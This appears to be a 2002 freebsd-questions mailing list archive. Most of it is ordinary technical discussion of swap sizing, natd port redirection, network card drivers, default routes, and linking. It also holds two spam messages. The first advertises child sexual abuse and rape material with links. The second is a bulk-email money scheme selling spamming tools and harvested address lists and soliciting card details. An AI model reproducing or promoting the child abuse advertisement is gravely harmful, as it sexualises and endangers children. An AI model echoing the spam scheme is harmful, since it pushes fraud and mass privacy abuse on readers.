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Subject: Re: 1GB ram, how much SWAP?
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On Wednesday, 31 July 2002 at 13:58:17 -0500, Kirk Strauser wrote:
>
> At 2002-07-31T17:17:28Z, Rob Ellis <rob@web.ca> writes:
>
>> if you have a gigabyte of ram, does the 2 x ram calculation for the swap
>> partition (from the fbsd handbook) still make sense?  thanks.
>
> IANA kernel hacker, but I've read that you should allocate at least twice
> the amount of RAM for the main reason that FreeBSD's VM system is optimized
> for that amount.  It will still run with less swap, but it will use
> less-optimal algorithms and/or settings.

Not really.  The same size as RAM would be enough.  There are reasons
not to use less than that--see my next reply.

Greg
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From owner-freebsd-questions  Wed Jul 31 21:20:21 2002
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From: Greg 'groggy' Lehey <grog@FreeBSD.org>
To: Rob Ellis <rob@web.ca>
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Subject: Re: 1GB ram, how much SWAP?
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On Wednesday, 31 July 2002 at 17:15:07 -0400, Rob Ellis wrote:
>>> the consensus seems to be that if you want to be able to get
>>> crash dumps, you need a single partition == to your memory
>>
>> 64k more than your memory, actually...
>
> there was some disagreement about that in that freebsd-hackers thread:
>
> http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=268723+271430+/usr/local/www/db/text/2002/freebsd-hackers/20020714.freebsd-hackers

For some reasons, I don't see the followup to these messages.

In order to take a dump, you need space for the dump and also space
for header information.  I'm pretty sure that the headers need nothing
like 64 kB, but I haven't had time to go and look at the code, and
what's 64 kB when we're talking about at least 1 GB of swap.  Note
also that the dump gets written at the end of the swap partition, so
if you have more swap, the dump can survive a little swapping without
getting overwritten.

>>>        in the meantime, 1GB ram + .5GB swap still seems like lots?
>>
>> Depends on how much virtual address space you're using at once.
>
> yes. it would be nice to know ballpark requirements for different
> types of servers / what kind of capacities you get with freebsd
> and various hardware configurations.

I'm attaching a text version of part of a chapter of the upcoming new
edition of "The Complete FreeBSD", in text form.  You'll notice that
my recommendation was 1 MB more than the size of memory. I'd welcome
feedback.

Greg

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How much swap space?
____________________

Apart  from  files,  you  should  also have at least one swap partition on your
disk.  It's very difficult to predict  how  much  swap  space  you  need.   The
automatic option gave you 522 MB, slightly more than twice the size of physical
memory.  Maybe you can get by with 64 MB.  Maybe you'll need 2 GB.  How do  you
decide?

It's  almost impossible to know in advance what your system will require.  Here
are some considerations:

o Swap space is needed for all pages of virtual memory which contain data  that
  is  not locked in memory and which can't be recreated automatically.  This is
  the majority of virtual memory in the system.

o Some people use rules of thumb like ``2.5 times the size of physical  memory,
  or 64 MB, whichever is bigger''.  These rules work only by making assumptions
  about your workload.  If you're using more than 2.5 times as much swap  space
  as physical memory, performance will suffer.

o Known  memory hogs are X11 and integrated graphical programs such as Netscape
  and StarOffice.  If you use these, you will probably need  more  swap  space.
  Older  UNIX-based  hogs such as Emacs and the GNU C compiler (gcc) are not in
  the same league.

o You can add  additional  swap  partitions  on  other  disks.   This  has  the
  additional  advantage of balancing the disk load if your machine swaps a lot.

o About the only ways to change the size of a swap partition are to add another
  partition  or  to  reinstall  the system, so if you're not sure, a little bit
  more won't do any harm, but too little can really be a problem.

o If  your  system  panics,  and  memory  dumping is enabled, it will write the
  contents of memory to the swap partition.  This will obviously  not  work  if
  your  swap partition is smaller than main memory.  Under these circumstances,
  the system refuses to dump, so you will not be able to find the cause of  the
  problems.

  The  dump  routines can only dump to a single partition, so you need one that
  is big enough.  If you have 512 MB of memory and two swap partitions  of  384
  MB each, you still will not be able to dump.

o Even with light memory loads, the virtual memory system slowly pages out data
  in preparation for a possible sudden demand for memory.  This means  that  it
  can  be  more  responsive  to such requests.  As a result, you should have at
  least as much swap as memory.

A couple of examples might make this clearer:

1. Some years ago I used to run X, StarOffice, Netscape  and  a  whole  lot  of
  other memory-hungry applications on an old 486 with 16 MB.  Sure, it's really
  slow, especially when changing from one application to another, but it works.
  Since there's not much memory, it uses a lot of swap.

  To  view  the  current  swap usage, use pstat.  Here's a typical view of this
  machine's swap space:

  $ pstat -s
  Device          1024-blocks     Used    Avail Capacity  Type
  /dev/da0s1b          122880    65148    57668    53%    Interleaved


2. Later, I ran much more stuff on an AMD Athlon with 256 MB of memory.  It had
  lots of swap space, but what I saw was:

  $  pstat -s
  Device          1024-blocks     Used    Avail Capacity  Type
  /dev/ad0s1b          524020    22328   501692     4%    Interleaved

It's  not so important that the Athlon is using less swap: it's using 9% of its
memory in swap, whereas the 486 is using 4 times its  memory.   In  a  previous
edition  of  this  book,  I  had the example of a Pentium with 96 MB of memory,
which used 43 MB of swap.  Look at it from a different point, and it makes more
sense:  swap  makes up for the lack of real memory, so the 486 is using a total
of  80  MB  of memory, the Pentium is using 140 MB, and the Athlon is using 280
MB.  In other words, there is a tendency to be able  to  say  ``the  more  main
memory you have, the less swap you need''.

If,  however,  you look at it from the point of view of acceptable performance,
you will hear things like ``you need at least one-third of your virtual  memory
in  real memory''.  That makes sense from a performance point of view, assuming
all processes are relatively active.  And,  of  course,  it's  another  way  of
saying ``take twice as much swap as real memory''.

In  summary: be generous in allocating swap space.  If you have the choice, use
more.  If you really can't make up your mind, take 512 MB of swap space or  one
MB more than the maximum memory size you are likely to install.

--
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From owner-freebsd-questions  Wed Jul 31 21:20:42 2002
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To: freebsd-questions@freebsd.org
Subject: The inscrutable natd redirect_port
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I've got two nearly identical FreeBSD boxes, both running 4.6 STABLE, both 
kernels rebuilt within the last week from the same source and same KERNEL 
config file.

Each machine runs identical rc.conf, except for the hostname.

Each machine has two nics, an rl0 for the internal network and ed0 for the 
external network.  Both machines act as a gateway for a small internal network 
that includes an NT machine and an AS/400 for each.  Each machine is in a 
workspace separated by about 10 miles.

I can telnet or ftp to each of these machines from the other or from any 
machine that they act as a gateway for.

I mean this setup is identical EXCEPT that natd works on one and not on the 
other.

here is the information from rc.conf:

 gateway_enable="YES" 
 firewall_enable="YES"
 firewall_script="/etc/firewall/fwrules"
 natd_enable="YES"
 natd_interface="de0"                    
 natd_flags="-config /etc/natd.conf" 

and natd.conf:

 interface de0
 dynamic yes
 use_sockets yes
 unregistered_only yes
 log yes
 log_denied yes
 #verbose yes
 deny_incoming no
 # send incoming ftp, wins, and mssql to the NT machine
 redirect_port tcp 192.168.1.2:1433 1433
 redirect_port udp 192.168.1.2:137 137
 redirect_port tcp 192.168.1.2:137 137
 redirect_port tcp 192.168.1.2:23 8023
 redirect_port tcp 192.168.1.2:21 8021 

 # send incoming db2, telnet, and ftp and client access to the AS/400 machine
 redirect_port tcp 192.168.1.4:23 4023
 redirect_port tcp 192.168.1.4:21 4021
 redirect_port tcp 192.168.1.4:423 423
 redirect_port tcp 192.168.1.4:523 523  

and finally the firewall rules:

    fwcmd="/sbin/ipfw"
    #make the interface into a macro
    de0="de0"
    rl0="rl0"
    $fwcmd -f flush

    $fwcmd add divert natd all from any to any via $de0
    $fwcmd add pass all from any to any  

This setup works fine for one machine.  I am able to ftp, telnet, or send db2 
or mssql requests to any machine on the network from any machine on either 
network.

HOWEVER ....

None of this works on the other machine.  None of the natd redirects, that is.  
Each request, for instance to "telnet remote_host 8023" is met with 

telnet: connect to address 172.172.5.1: Connection refused
telnet: Unable to connect to remote host  (This whether I attempt to connect 
from the local network, from the 172.172.5.1 host, or from any remote site)

But "telnet remote_host" and "telnet remote_host 23" work perfectly.

/var/log/alias.log seems to witness the action, but I cannot interpret that 
file to determine where or why 172.172.5.1 is rejecting the incoming request.

What steps can I take to track down this failure?

Thanks for reading.

And thanks for your input.

lane holcombe

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From owner-freebsd-questions  Wed Jul 31 21:26:34 2002
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From: "Milena" webmaster@candidpublishing.com;
To: Date: Wed, 31 Jul 2002 02:47:11 -0700
Subject: Best FREE Rape and Child Porn on the net !!!!!!  7/31/2002 2:47:11
AM
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FILETIME=[42B88D90:01C23877]

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----- Original Message -----
From: "Milena" <Scty666@compuserve.com>

Sent: Wednesday, July 31, 2002 3:47 AM
Subject: Best FREE Rape and Child Porn on the net !!!!!! 7/31/2002 2:47:11
AM


> To: mtr87111
>
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>
> Best Rape and Child Porn on the net
> Youngest and innocents girls and boys!
> Whose photos were never published before!
> Click here to view our site!
>
> http://www.candidclicks.com/niches/teen.html?vesko&site=Teen
>
>
> Lolita Portal hot News !
>
> If There Is A Lolita Lover's Paradise, You've Just Found It!
>
> Imagine. .:: Imagine yourself on a real paradise island with nobody around
except hundreds of young, even
> little girls - so innocent, so fresh.
>
> http://www.candidclicks.com/niches/teen.html?vesko&site=Teen
>
> How about hundreds of EXCLUSIVE superior-quality pictures of hot young
lolitas aged 4 to 16, naked
>
>
> and ready for some EXTREME games?
>
>
> Lolita archive updates:
>
> [Jule 26st]  67 new CP stories added!   I`m  on a roll... :-)
> [Jule 27d] 12gb incest and rape videos added to my explicit archive
> [Jule 28d]  over 100 REAL INCEST survivors stories.
>
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>
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>
> http://www.candidclicks.com/niches/teen.html?vesko&site=Teen
>
> --------------------------------------------------------------------------
-----------------
> Note: this is not a spam email. This email was sent to you because your
email was entered
> in on a website requesting to be a registered subscriber. If you would
would like to be
> removed from our list,visit  http://www.speededelivery.com/remove.html and
you will
> *never* receive another email from us!
>

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From owner-freebsd-questions  Wed Jul 31 21:45:24 2002
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To: <lane@joeandlane.com>, <freebsd-questions@freebsd.org>
References: <200208010420.g714KOoB002082@joeandlane.com>
Subject: Re: The inscrutable natd redirect_port
Date: Wed, 31 Jul 2002 22:47:47 -0600
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I did some reading yesterday from,
http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO and if you are missing rule
100 and rule 200, the firewall defaults to a closed policy, you will see
RPC(3) services break during startup. I was just about to test this senerio
myself because I don't know what it means by a "RPC services". If this works
pop me an e-mail.

${fwcmd} add 100 pass all from any to any via lo0
${fwcmd} add 200 deny all from any to 127.0.0.0/8


----- Original Message -----
From: <lane@joeandlane.com>
To: <freebsd-questions@freebsd.org>
Sent: Wednesday, July 31, 2002 10:20 PM
Subject: The inscrutable natd redirect_port


> I've got two nearly identical FreeBSD boxes, both running 4.6 STABLE, both
> kernels rebuilt within the last week from the same source and same KERNEL
> config file.
>
> Each machine runs identical rc.conf, except for the hostname.
>
> Each machine has two nics, an rl0 for the internal network and ed0 for the
> external network.  Both machines act as a gateway for a small internal
network
> that includes an NT machine and an AS/400 for each.  Each machine is in a
> workspace separated by about 10 miles.
>
> I can telnet or ftp to each of these machines from the other or from any
> machine that they act as a gateway for.
>
> I mean this setup is identical EXCEPT that natd works on one and not on
the
> other.
>
> here is the information from rc.conf:
>
>  gateway_enable="YES"
>  firewall_enable="YES"
>  firewall_script="/etc/firewall/fwrules"
>  natd_enable="YES"
>  natd_interface="de0"
>  natd_flags="-config /etc/natd.conf"
>
> and natd.conf:
>
>  interface de0
>  dynamic yes
>  use_sockets yes
>  unregistered_only yes
>  log yes
>  log_denied yes
>  #verbose yes
>  deny_incoming no
>  # send incoming ftp, wins, and mssql to the NT machine
>  redirect_port tcp 192.168.1.2:1433 1433
>  redirect_port udp 192.168.1.2:137 137
>  redirect_port tcp 192.168.1.2:137 137
>  redirect_port tcp 192.168.1.2:23 8023
>  redirect_port tcp 192.168.1.2:21 8021
>
>  # send incoming db2, telnet, and ftp and client access to the AS/400
machine
>  redirect_port tcp 192.168.1.4:23 4023
>  redirect_port tcp 192.168.1.4:21 4021
>  redirect_port tcp 192.168.1.4:423 423
>  redirect_port tcp 192.168.1.4:523 523
>
> and finally the firewall rules:
>
>     fwcmd="/sbin/ipfw"
>     #make the interface into a macro
>     de0="de0"
>     rl0="rl0"
>     $fwcmd -f flush
>
>     $fwcmd add divert natd all from any to any via $de0
>     $fwcmd add pass all from any to any
>
> This setup works fine for one machine.  I am able to ftp, telnet, or send
db2
> or mssql requests to any machine on the network from any machine on either
> network.
>
> HOWEVER ....
>
> None of this works on the other machine.  None of the natd redirects, that
is.
> Each request, for instance to "telnet remote_host 8023" is met with
>
> telnet: connect to address 172.172.5.1: Connection refused
> telnet: Unable to connect to remote host  (This whether I attempt to
connect
> from the local network, from the 172.172.5.1 host, or from any remote
site)
>
> But "telnet remote_host" and "telnet remote_host 23" work perfectly.
>
> /var/log/alias.log seems to witness the action, but I cannot interpret
that
> file to determine where or why 172.172.5.1 is rejecting the incoming
request.
>
> What steps can I take to track down this failure?
>
> Thanks for reading.
>
> And thanks for your input.
>
> lane holcombe
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31 22: 9:11 2002
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Subject: my question
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Hello!
My name is Igor. I'm from Russia.
I would like to ask you for installing of ethernet card Intel EtherExpress
pro/10 ISA - does FreeBSD support this card? If yes, do i have to add a
driver for this eth. card function properly or this driver have been
included to FreeBSD and i don't need to install additional drivers?
I have purchased FreeBSD-4.4 Release.

Thank you.



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From owner-freebsd-questions  Wed Jul 31 22:43:13 2002
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Hi,

I'm a college dropout.  I work about two hours a day.  
I'm ambitious, but extremely lazy, and I make over 
$250,000 a year.  Are you curious yet?

In a minute I'm going to tell you my secret,
it's the dirty little secret of the Internet ...

You've probably heard stories about people making
whopping huge money online, but you thought they 
were the big corporate execs, famous programmers, or
boy-geniuses.

Well, grasshopper, think again ...

It's people like you and me that are making the real
money.  Yep, people like YOU AND ME!

Ever since the "dot com bubble" burst in 1999, small-time
entrepreneurs are getting richer while the Fortune 500 
companies look for bankruptcy lawyers.

Today small business owners and ordinary folks 
like you and me can use the web to achieve complete 
financial freedom with NO INVESTMENT and very little 
work.  How?  By learning the most profitable marketing 
technique ever created - it's called BULK EMAIL.

If you've ever recieved an email advertisement, then 
you know what bulk email is.  I bet you can't click on 
DELETE fast enough for most of those ads, right?
You might not want their product, but remember that 
thousands of other folks probably do.  Bulk email is a 
percentage game - every bulker who contacts you 
makes a six figure income on the Internet.  I 
guarantee it.  Now let's go back to Math 101 and 
review some numbers ...

If you sell on eBay, you pay anywhere from a few
dollars to over a hundred dollars just to post one
auction.  How many people see your ad?  Maybe a
couple thousand or even ten or twenty thousand
over a period of days.  Using bulk email, YOU CAN
SEND YOUR AD TO MORE THAN A MILLION PEOPLE A DAY
at virtually no cost.  Whether your send 100,000
emails or 100 million emails, the price is the same.
ZERO!

Stop paying those outrageous auction listing fees when
hardly anyone sees your ad!

Imagine that you have a decent product with a 
profit margin of $20.00 on each sale.  If you send 
an email ad to 500,000 people, and only one person 
in a thousand actually places an order, then you just 
generated 500 orders and made $10,000 in a few hours 
of work.  

It's that simple ...

All you have to do is convince ONE PERSON OUT OF A
THOUSAND to buy your stuff and you're FILTHY RICH.

The best thing is that anyone can do it.  Doesn't 
matter if you're a nineteen-year-old college student 
using a dorm-room computer or a fifty-year-old 
executive working from an office building in New 
York City.  Anyone, and I repeat ANYONE, can start 
bulk emailing with virtually no startup costs.  All 
it takes is a  few days of study, plenty of ambition, 
and some basic familiarity with the Internet.

I quit college when I was 19 to capitalize on the 
"Dot Com" mania, and I've never looked back.  I 
started with no money, no product to sell, and only 
the most rudimentary computer skills.  I saw an 
opportunity and I seized it.  A few years later, 
I bought my own home - with CASH.  

You don't need any money.  You don't need a product.
You don't need to be a computer nerd and no experience
whatsoever is required.  

If you saw an employment ad in the newspaper like that
you'd jump right on it.  It would be a dream come true.
So what are you waiting for?!

I'm going to ask you four simple questions.  If you answer
YES to all of them, then I can almost promise that you
will make at least $100,000 using bulk email this year.

Here goes ...

Do you have basic experience with the web? 
Do you have a computer and an Internet connection?
Do you have a few hours each day of free time?  
Do you want to earn some extra money with an eye towards 
complete financial freedom?  

If you answer YES to these questions, you could be
making $5,000 - $20,000 per week working from your 
home.  Kiss your day job goodbye - this sure beats 
the 9-5 daily grind!

All you need is ambition and commitment.  This
is no "get rich quick scheme".  You have to work
to make big bucks, but ANYONE - and I mean ANYONE - can do 
it.

You're probably wondering if it's hard to get started.  
Don't worry, it's not! I will show you step-by-step 
how to start your first email campaign and how to
build a booming online business.  You'll be generating 
orders - AND MAKING MONEY - in less than seven days.

Okay, so what if you don't have anything to sell?

No problem!!  I'll show you where to find hot
products that sell like CRAAAAAAZY! Most people delay
starting an Internet business because they have 
nothing to sell, but I'm removing that hurdle right now.  
After reading the Bulkbook, you can build your complete 
product line in less than two hours!  There is NO EXCUSE 
not to get started! I will get you up-and-running within 
seven days. In fact ...

I personally guarantee that you will start your own 
bulk email campaign less than a week after reading 
the Bulkbook!  I'll give you a toll-free phone number 
to reach me 24 hours a day, seven days a week; 
where else will you find that level of service?!

I will also include a step-by-step guide to starting 
your very first email campaign called "Seven Days to 
Bulk Email Success".  This seperate guide contains a daily 
routine for you to follow with specific, exact 
instructions on how to get started.  On day one, for 
example, I teach you where to find a product to sell. 
The next day you learn how to build a fresh mailing 
list.  On the seventh day, you just click send!  Your 
very first campaign is ready to go.

As a special bonus, you'll recieve a FREE copy 
of our STEALTH MASS MAILER, a very powerful bulk 
email program which retails for $49.99! I'll even
include 7 million email addresses absolutely FREE
if you order NOW!

Stop wasting your money on auction listing fees, 
classifieds, and banner ads - they don't work, and 
never will!  If you are SERIOUS about making money 
on the Internet, bulk email is your only option.  
What are you waiting for?  Few of us are willing 
to share this knowledge, but I promise to teach 
you everything I know about bulk emailing in this 
extraordinary bulk emailer's handbook ... The Bulkbook! 

Once again, here's the deal.  You give me $29.99.  
I give you ALL THE TOOLS YOU NEED to become a
successful, high profit bulk emailer.  INCLUDING:

** THE BULKBOOK
Teaches you step-by-step how to become a high profit
bulk emailer.  Secret techniques and tips never
before revealed.

** SEVEN DAYS TO BULK EMAIL SUCCESS
Provides detailed day-by-day instruction to start sending
your first email campaign in seven days.

** 600 Email subjects that PULL LIKE CRAZY

** EMAIL LIST MANAGER
Manage your email lists quickly and easily.  Very 
user-friendly, yet powerful, software.

** STEALTH MASS MAILER
Software can send up to 50,000 emails an hour automatically.
Just load them in there and click SEND!

** ADDRESS ROVER 98 and MACROBOT SEARCH ENGINE ROBOT
Extracts email addresses from databases and search engines
at speeds of over 200,000 per hour.

** WORLDCAST EMAIL VERIFIER
Used to verify your email addresses that you extract to 
make sure they're valid.

** EBOOK PUBLISHER
Easily publish your own e-books and reports for resale using,
you guessed it, bulk email!

** SEVEN MILLION EMAIL ADDRESSES
This huge list will get you started bulking right away.
I harvested these addresses myself, the list is filled
with IMPULSE BUYERS ready to respond to your ads!

If you added up all of the FULL VERSION BULK EMAIL software
included with the BULKBOOK package, it would total over
$499.  I am giving you the whole bundle for only $29.99.
That means there is no other out-of-pocket startup expense
for you.  Nothing else to buy, no reason to waste money on
software that doesn't work.  With this one package, you get 
EVERYTHING YOU NEED to START BULK EMAILING RIGHT AWAY.  

Are you willing to invest $29.99 for the opportunity
to make a SIX FIGURE INCOME on the Internet with no 
startup cash and very little effort?

Remember, you will recieve a toll-free phone number
for 24 hour expert advice and consultation FROM ME
PERSONALLY.

To order the Bulkbook right now for only $29.99 with 
a Visa or Mastercard, please click on the link below. 
This will take you to our secure server for order 
processing:

http://www.2003marketing.com/bulkbook.htm

Note: The Bulkbook will be delivered electronically
within 24 hours. It is not available in printed form. 

You may also pay with cash, check or money
order by printing the order form below and 
sending it with your payment. 

------------------------- CUT HERE ----------------------- 

Product: "The Bulkbook" 
Price: $29.99 

HOW TO ORDER BY MAIL: Print out this order 
form and send cash, personal check, money 
order or cashier's check to the address listed below: 

Internet Products Enterprises Inc.
45 State St. Unit 253
Montpelier, VT 05602

Your Shipping Information: 

Your Name_____________________________________________ 
Your Address__________________________________________ 
Your City_____________________________________________ 
State / Zip___________________________________________ 
Phone #: _____________________________________________ 
(For problems with your order only. No salesmen will call.) 

Email Address________________________________________ 


If paying by credit card, please fill in the information below: 

Credit Card Number:________________________________ 
Expiration Date:___________________________ 
Signature:_________________________ 
Date:____________________ 


IMPORTANT LEGAL NOTE: There are no criminal laws against
the non-fraudulent sending of unsolicited commercial email 
in the United States.  However, other countries have passed
laws against this form of marketing, so non-US residents 
should check local regulations before ordering. 

***********************************************************
Our company is strictly opposed to unsolicited email.
To be removed from this opt-in list, please send a 
request to "bulkexpert@yahoo.com"
***********************************************************
0650RxKX4-876OXsi5075ycSP6-054VHl30

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From owner-freebsd-questions  Wed Jul 31 23:32:10 2002
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From: "Balaji, Pavan" <pavan.balaji@intel.com>
To: "'Igor V.Ruzanov'" <igorr@redline.ru>,
	freebsd-questions@FreeBSD.ORG
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FreeBSD does have a driver for this card. You don't need to install anything
else separately.


Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: Igor V.Ruzanov [mailto:igorr@redline.ru]
> Sent: Thursday, August 01, 2002 12:08 AM
> To: freebsd-questions@FreeBSD.ORG
> Subject: my question
> 
> 
> Hello!
> My name is Igor. I'm from Russia.
> I would like to ask you for installing of ethernet card Intel 
> EtherExpress
> pro/10 ISA - does FreeBSD support this card? If yes, do i 
> have to add a
> driver for this eth. card function properly or this driver have been
> included to FreeBSD and i don't need to install additional drivers?
> I have purchased FreeBSD-4.4 Release.
> 
> Thank you.
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

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From owner-freebsd-questions  Wed Jul 31 23:52:44 2002
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From: "Oleg Kyryliv" <forall@kinto.com>
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Subject: ok
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can i retrieve messages from maillist freebsd-questions ?

--
Oleg Kyryliv



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From owner-freebsd-questions  Thu Aug  1  0: 8:18 2002
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Date: Thu, 1 Aug 2002 08:07:48 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: DiaDems@datasync.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Network Problem (Gateway/Route)
Message-ID: <20020801070748.GA41777@happy-idiot-talk.infracaninophi>
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On Wed, Jul 31, 2002 at 02:51:31PM -0500, DiaDems@datasync.com wrote:

> I am still having problems getting the server to work on the network
> at our datacenter. The problem is when the server is rebooted it
> does not come back online (connected to the internet in other
> words). The server reboots fine but you can not ping any remote
> sites. The problem lies in the gateways. We are able to temporally
> fix the problem with this command below:
   
> route add -net 0.0.0.0 204.251.1.97 
   
Add the line:

defaultrouter="204.251.1.97"

to /etc/rc.conf.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Thu Aug  1  0:15:41 2002
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From: David Banning <david@skytrackercanada.com>
To: questions@freebsd.org
Subject: dsl modem suggestions
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I have a gnet modem which is giving me trouble. 

It looks like I've wasted my money once.  Any suggestions for a dsl
modem? 



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From owner-freebsd-questions  Thu Aug  1  0:29: 5 2002
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Date: Thu, 1 Aug 2002 08:28:54 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Darren Pilgrim <dmp@pantherdragon.org>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: How to tell if something is built static- or dynamic-linked?
Message-ID: <20020801072854.GB41777@happy-idiot-talk.infracaninophi>
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On Wed, Jul 31, 2002 at 02:30:24PM -0700, Darren Pilgrim wrote:
> The OpenSSL bug has triggered me to learn how to figure out if a given
> program was built with static- or dynamic-linking?  I figure there's
> something in the Makefile, but what?

Virtually everything is built using dynamic linking --- the exceptions
being some absolutely crucial commands found in /sbin or /bin.  You
can use the file(1) command to see the difference:

    happy-idiot-talk:~:% file /bin/sh
    /bin/sh: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, stripped
    happy-idiot-talk:~:% file /usr/bin/sed
    /usr/bin/sed: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped

Use the ldd(1) command to see what shared libraries are linked to by a
dynamic executable:

    happy-idiot-talk:~:% ldd /usr/bin/sed
    /usr/bin/sed:
            libc.so.4 => /usr/lib/libc.so.4 (0x2806b000)

If you've installed a version of the openssl port, you can run:

     pkg_info -R openssl\*

to find the ports that depend on the openssl port, but that's not
guarranteed be either complete or accurate.

	Cheers,

	Matthew


-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Thu Aug  1  1:17: 1 2002
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Date: Thu, 1 Aug 2002 11:17:21 +0300
To: freebsd-questions@FreeBSD.ORG
From: Michael Dexter <dexter@ambidexter.com>
Subject: FreeBSD from RedHat questions, I'm non on list
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X-Loop: FreeBSD.ORG


Hello,

I request that you mail responses to me directly as I am not on the 
list at the moment.

One evangelist may be able to answer all of these. I am considering a 
move from RedHat Linux (5.2-7.2) to FreeBSD and I have some concerns. 
In short, I need some convincing and some understanding of the 
rationale behind FreeBSD's design.

1. BASE theory: I admire the RedHat base. It is made entirely of 
smaller packages.
Why is sendmail in the FreeBSD base but not CSVup? Does this suggest 
the Base set in stone, perhaps at the mercy of the 4.4 BSD Lite model 
or something? Is sendmail's inclusion reflect your opinion that it is 
better than say, postfix? "That's how it's always been?"

2. Sysinstall. I read that it is "at the end of its life" but I do 
not see what is planned to replace it. Is anything on the horizon?

3. RAID. Is there any official support for software raid 0, 1 and 5? 
I see mention of NetBSD RaidFrame ports but none seem to be complete. 
Linux's raidtools do not appear to have been ported. Any options?

4. Freshness: As I watch to see which distribution produces a PHP 
4.2.2 package or port first, I am curious if you have any guidelines 
as to how timely port updates (often security fixes) can  be 
expected. Related: can a new install be built of fresh packages or 
ports? Need I install the base and then download sources and 
re-compile?

5. Jails. Very attractive but you might want to mention them in the 
handbook. Any official docs.

Many thanks,

Michael Dexter


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From owner-freebsd-questions  Thu Aug  1  1:23:26 2002
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From: Wayne Pascoe <freebsd@penguinpowered.org.uk>
To: manee <radwasteus@yahoo.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: allow some users to run only some process
References: <3D45FD58.5040100@yahoo.com>
Date: 01 Aug 2002 09:23:35 +0000
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X-Loop: FreeBSD.ORG

manee <radwasteus@yahoo.com> writes:

> hi sirs,
> 
> i am using `FreeBSD firak.thai-aec.org 4.6-STABLE FreeBSD 4.6-STABLE
> #2: Sun Jul 14 13:58:35 ICT 2002
> root@firak.thai-aec.org:/usr/obj/usr/src/sys/Firak  i386'
> 
> 
> at present i use private ip number.  but a domain name is a real one.
> 
> if i want some user, his id is krok for example, to run xfig and do
> not want other user, her id is  jumjim, to run this program from some
> other host in the same domain, what method should i use in order to
> accomplish this requirement.

Your best bet is to set permissions on the file so that the owner and
the group are the only ones that can execute it (750 or 550). Then add
krok to the group that the file belongs to but do not ad jumjim to
that group.

HTH.

-- 
- Wayne Pascoe  -  http://www.penguinpowered.org.uk/wayne/
    Microsoft complaining about the source 
    license used by Linux is like the event 
    horizon calling the kettle black - adamba on k5
    

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From owner-freebsd-questions  Thu Aug  1  2: 0:17 2002
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Date: Thu, 01 Aug 2002 18:59:48 +1000
To: Michael Dexter <dexter@ambidexter.com>
From: Rob B <rbyrnes@ozemail.com.au>
Subject: Re: FreeBSD from RedHat questions, I'm non on list
Cc: freebsd-questions@FreeBSD.ORG
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X-Loop: FreeBSD.ORG

At 18:17 1/08/2002, Michael Dexter sent this up the stick:
>One evangelist may be able to answer all of these. I am considering a move 
>from RedHat Linux (5.2-7.2) to FreeBSD and I have some concerns. In short, 
>I need some convincing and some understanding of the rationale behind 
>FreeBSD's design.

Not an evangelist, but I use both Linux (Debian) and FreeBSD, and I'm happy 
with both.  Quite frankly I couldn't care for the details of the respective 
licences, I like the fact that they are both free (as in beer) and both 
have an active user base.

>1. BASE theory: I admire the RedHat base. It is made entirely of smaller 
>packages.
>Why is sendmail in the FreeBSD base but not CSVup? Does this suggest the 
>Base set in stone, perhaps at the mercy of the 4.4 BSD Lite model or 
>something? Is sendmail's inclusion reflect your opinion that it is better 
>than say, postfix? "That's how it's always been?"

Base is pretty much set in stone because FreeBSD is an "operating system", 
not a collection of apps running under a kernel (as Linux is)
Why sendmail? Most likely because "That's how it's always been?".  Mind 
you, I don't use Sendmail - ever.  I use Postfix.  Real simple to change 
mailservers with the mailwrapper feature.

>3. RAID. Is there any official support for software raid 0, 1 and 5? I see 
>mention of NetBSD RaidFrame ports but none seem to be complete. Linux's 
>raidtools do not appear to have been ported. Any options?

vinum is your friend here

>4. Freshness: As I watch to see which distribution produces a PHP 4.2.2 
>package or port first, I am curious if you have any guidelines as to how 
>timely port updates (often security fixes) can  be expected. Related: can 
>a new install be built of fresh packages or ports? Need I install the base 
>and then download sources and re-compile?

Ports are different from the base system in that only the comitters can 
update base.  PHP (in your example) is not part of base, so any security 
updates are mostly made by the upstream maintainer, rather than the FreeBSD 
packager.

>5. Jails. Very attractive but you might want to mention them in the 
>handbook. Any official docs.

man jail?

Cheers,
Robe

--
Humans: Bet you can't eat just one.

This is random quote 545 of a collection of 1254
[15200.8 km (8207.8 mi), 262.8 deg](Apparent) Rennerian


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From owner-freebsd-questions  Thu Aug  1  2: 8:47 2002
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X-Loop: FreeBSD.ORG

Hi,

Is there a doc detailing how to tweak FreeBSD in order to
have it operate in RAM only (run on a box without hard disks) ?

I am pretty sure many readers are interested in how to run
such "boxes" that can be used as highperf firewalls/routers
or NIDS.

This implies that a lightened file directory burnt on a media
(CD-ROM) is loaded in memory at boot time.
Which filesystems are available then to store files in a
RAM disk ? swapfs ? But then how can one prevent this extra
"swapfs" from being used for its usual purpose ... swap
so that it is reserved for file storage at user-level ?

I may be mixing things a bit as i don't know about kernel
internals (is there a "freebsd kernel design guide" available
on-line ?), but i would be pleased to get an answer.

Regards
Phil

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From owner-freebsd-questions  Thu Aug  1  2:22:44 2002
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Date: Thu, 1 Aug 2002 21:22:28 +1200
From: Jonathan Chen <jonc@chen.org.nz>
To: Rob B <rbyrnes@ozemail.com.au>
Cc: Michael Dexter <dexter@ambidexter.com>,
	freebsd-questions@FreeBSD.ORG
